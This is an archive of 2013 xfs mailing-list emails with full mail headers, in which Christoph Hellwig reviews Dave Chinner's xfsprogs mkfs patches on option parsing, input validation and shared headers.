X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA717, BSF_SC0_SA_TO_FROM_ADDR_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142778 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 Diploma? http://tiny.cc/9bj3yjg2kz From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 04:40:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 095EA7F57 for ; Mon, 2 Dec 2013 04:40:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFDE88F8064 for ; Mon, 2 Dec 2013 02:40:20 -0800 (PST) X-ASG-Debug-ID: 1385980817-04bdf06eed469140001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id GrzUaHAmscALGivT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 02:40:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnQvI-0006bs-W6; Mon, 02 Dec 2013 10:40:16 +0000 Date: Mon, 2 Dec 2013 02:40:16 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/15] xfsprogs: use common code for multi-disk detection Message-ID: <20131202104016.GA21394@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 01/15] xfsprogs: use common code for multi-disk detection References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385980819 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142779 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:36PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Both xfs_repair and mkfs.xfs need to agree on what is a "multidisk: > configuration - mkfs for determining the AG count of the filesystem, > repair for determining how to automatically parallelise it's > execution. This requires a bunch of common defines that both mkfs > and reapir need to share. > > In fact, most of the defines in xfs_mkfs.h could be shared with > other programs (i.e. all the defaults mkfs uses) and so it is > simplest to move xfs_mkfs.h to the shared include directory and add > the new defines to it directly. I have to say I do not like making the mkfs header public at all. There's things like local prototypes in there that shouldn't be in include/, and the name is wrong, too. include/xfs_geom.h maybe? From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 04:40:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0BD697F5D for ; Mon, 2 Dec 2013 04:40:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EF5E88F8068 for ; Mon, 2 Dec 2013 02:40:31 -0800 (PST) X-ASG-Debug-ID: 1385980830-04cbb04167466350001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id wTjjUnmYThBdLDaz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 02:40:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnQvW-0006cZ-NK; Mon, 02 Dec 2013 10:40:30 +0000 Date: Mon, 2 Dec 2013 02:40:30 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 02/15] mkfs: sanitise ftype parameter values. Message-ID: <20131202104030.GB21394@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 02/15] mkfs: sanitise ftype parameter values. References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1385980831 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142779 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 04:43:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CB65A29DF9 for ; Mon, 2 Dec 2013 04:43:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 596ACAC001 for ; Mon, 2 Dec 2013 02:43:04 -0800 (PST) X-ASG-Debug-ID: 1385980982-04cb6c537e460af0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id xa4nNuwEZiIPsBUQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 02:43:03 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnQxy-0006f7-Ma; Mon, 02 Dec 2013 10:43:02 +0000 Date: Mon, 2 Dec 2013 02:43:02 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/15] mkfs: Sanitise the superblock feature macros Message-ID: <20131202104302.GC21394@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 03/15] mkfs: Sanitise the superblock feature macros References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385980983 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142779 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:38PM +1100, Dave Chinner wrote: > From: Dave Chinner > > They are horrible macros that simply obfuscate the code, so > let's factor the code and make them nice functions. > > To do this, add a sb_feat_args structure that carries around the > variables rather than a strange assortment of variables. This means > all the default can be clearly defined in a structure > initialisation, and dependent feature bits are easy to check. Nice clean, Reviewed-by: Christoph Hellwig But one minor nitpick: > + bool projid16bit; Given that 32-bit projids are the newer feature I'd make them the flag instead of inverting it, which is how all the other flags work. From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 04:46:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 22B5B29DF9 for ; Mon, 2 Dec 2013 04:46:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AEA9CAC001 for ; Mon, 2 Dec 2013 02:46:32 -0800 (PST) X-ASG-Debug-ID: 1385981191-04cb6c537b460d40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 8AsRldegyrpFB8bf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 02:46:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnR1L-0007jp-1N; Mon, 02 Dec 2013 10:46:31 +0000 Date: Mon, 2 Dec 2013 02:46:31 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/15] mkfs: factor boolean option parsing Message-ID: <20131202104631.GD21394@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/15] mkfs: factor boolean option parsing References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385981191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142779 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:40PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Many of the options passed to mkfs have boolean options (0 or 1) and > all hand roll the same code and validity checks. Factor these out > into a common function. > > Note that the lazy-count option is now changed to match other > booleans in that if you don't specify a value, it reverts to the > default value (on) rather than throwing an error. Similarly the -m > crc and -n ftype options default to off rather than throwing an > error. Looks good, Reviewed-by: Christoph Hellwig Unrelated question that came up when reading through this patch: should we start deprecating some options that have long been the default, like lazy-count or attrv1? From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:04:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6506029DF9 for ; Mon, 2 Dec 2013 11:04:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5389930407E for ; Mon, 2 Dec 2013 09:04:26 -0800 (PST) X-ASG-Debug-ID: 1386003861-04cb6c537d47af10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id vVojLfZrYpTL6xDh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:04:21 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnWuy-00058A-Fw; Mon, 02 Dec 2013 17:04:20 +0000 Date: Mon, 2 Dec 2013 09:04:20 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/15] mkfs: validate all input values Message-ID: <20131202170420.GA14935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/15] mkfs: validate all input values References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1385689430-10103-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386003861 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:39PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Right now, mkfs does a poor job of input validation of values. Many > parameters do not check for trailing garbage and so will pass > obviously invalid values as OK. Some don't even detect completely > invalid values, leaving it for other checks later on to fail due to > a bad value conversion - these tend to rely on atoi() implicitly > returning a sane value when it is passed garbage, and atoi gives no > guarantee of the return value when passed garbage. Would be useful to have a test case for some of these garbage values.. > Finally, the block size of the filesystem is not known until all > the options have been parsed and we can determine if the default is > to be used. This means any parameter that relies on using conversion > from filesystem block size (the "NNNb" format) requires the block > size to first be specified on the command line so it is known. > > Similarly, we make the same rule for specifying counts in sectors. > This is a change from the existing behaviour that assumes sectors > are 512 bytes unless otherwise changed on the command line. This, > unfortunately, leads to complete silliness where you can specify the > sector size as a count of sectors. It also means that you can do > some conversions with 512 byte sector sizes, and others with > whatever was specified on the command line, meaning the mkfs > behaviour changes depending in where in the command line the sector > size is changed.... I wonder if this might break some existing uses. The whole notion of 512byte sectors is so ingrained in most people that this doesn't sound as stupid as it is. Maybe just warn about that particular case for now instead of outright rejecting it? > + creds.cr_uid = getnum(getstr(pp), 0, 0, false); > + creds.cr_gid = getnum(getstr(pp), 0, 0, false); Not that I really care deeply, but requiring uids to be numeric seems a little silly. Maybe we should put accepting user and groups names on a beginners todo list somewhere. > +long long > +getnum( > + const char *str, > + unsigned int blocksize, > + unsigned int sectorsize, > + bool convert) > +{ > + long long i; > + char *sp; > + > + if (convert) > + return cvtnum(blocksize, sectorsize, str); > + > + i = strtoll(str, &sp, 0); > + if (i == 0 && sp == str) > + return -1LL; > + if (*sp != '\0') > + return -1LL; /* trailing garbage */ > + return i; > +} So this function does two totally different things based on the last parameter? Unless the answers is one of the next patches will fix it thyink it should be split. From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:06:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B082D29DF9 for ; Mon, 2 Dec 2013 11:06:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8BC578F8049 for ; Mon, 2 Dec 2013 09:06:02 -0800 (PST) X-ASG-Debug-ID: 1386003961-04cb6c537b47b0a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 4j08ZlvBGPfKMqmj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:06:01 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnWwb-0006AR-7Z; Mon, 02 Dec 2013 17:06:01 +0000 Date: Mon, 2 Dec 2013 09:06:01 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely Message-ID: <20131202170601.GB14935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386003961 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:41PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Testing logarithmic paramters like "-n log=" shows that we do a > terrible job of validating such input. e.g.: > > # mkfs.xfs -f -n log=456858480 /dev/vda > ..... > naming =version 2 bsize=65536 ascii-ci=0 ftype=0 > .... > > Yeah, I just asked for a block size of 2^456858480, and it didn't > get rejected. Great, isn't it? > > So, factor out the parsing of logarithmic parameters, and pass in > the maximum valid value that they can take. These maximum values > might not be completely accurate (e.g. block/sector sizes will > affect the eventual valid maximum) but we can get rid of all the > overflows and stupidities before we get to fine-grained validity > checking later in mkfs once things like block and sector sizes have > been finalised. Btw, is there any good reason not to deprecate the logarithmic parameters? I can't see why anyone would want to use them, but I see lots of potential for confusion (happened to myself in the past). The patch itself looks good: Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:11:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B8FC929DF9 for ; Mon, 2 Dec 2013 11:11:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5B901AC001 for ; Mon, 2 Dec 2013 09:11:05 -0800 (PST) X-ASG-Debug-ID: 1386004264-04bdf06eed483980001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id dGBSNgG8wpFPDMBb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:11:04 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnX1T-0007Qr-Ut; Mon, 02 Dec 2013 17:11:03 +0000 Date: Mon, 2 Dec 2013 09:11:03 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/15] mkfs: structify input parameter passing Message-ID: <20131202171103.GC14935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 07/15] mkfs: structify input parameter passing References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-8-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-8-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386004264 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > + const char name; > + const char *subopts[MAX_SUBOPTS]; > + struct subopt_param { > + int index; > + long long minval; > + long long maxval; > + } subopt_params[MAX_SUBOPTS]; > +}; Any reason to have a separate array for subopts instead of moving it into struct subopt_param? Except for that I really like the approach! Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:12:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B57E29DF9 for ; Mon, 2 Dec 2013 11:12:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6A79AC007 for ; Mon, 2 Dec 2013 09:12:06 -0800 (PST) X-ASG-Debug-ID: 1386004326-04bdf06eec483a30001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 6pj7bOTkmI6ykzls (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:12:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnX2U-0007Rg-2V; Mon, 02 Dec 2013 17:12:06 +0000 Date: Mon, 2 Dec 2013 09:12:06 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/15] mkfs: getbool is redundant Message-ID: <20131202171206.GD14935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 08/15] mkfs: getbool is redundant References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-9-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-9-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386004326 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:43PM +1100, Dave Chinner wrote: > From: Dave Chinner > > getbool() can be replaced with getnum_checked with appropriate > min/max values set for the boolean variables. Looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:14:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 395F729DF9 for ; Mon, 2 Dec 2013 11:14:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BCEF9AC007 for ; Mon, 2 Dec 2013 09:14:24 -0800 (PST) X-ASG-Debug-ID: 1386004464-04bdf06eef483cc0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 8GUEzz7VaTU2069w (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:14:24 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by 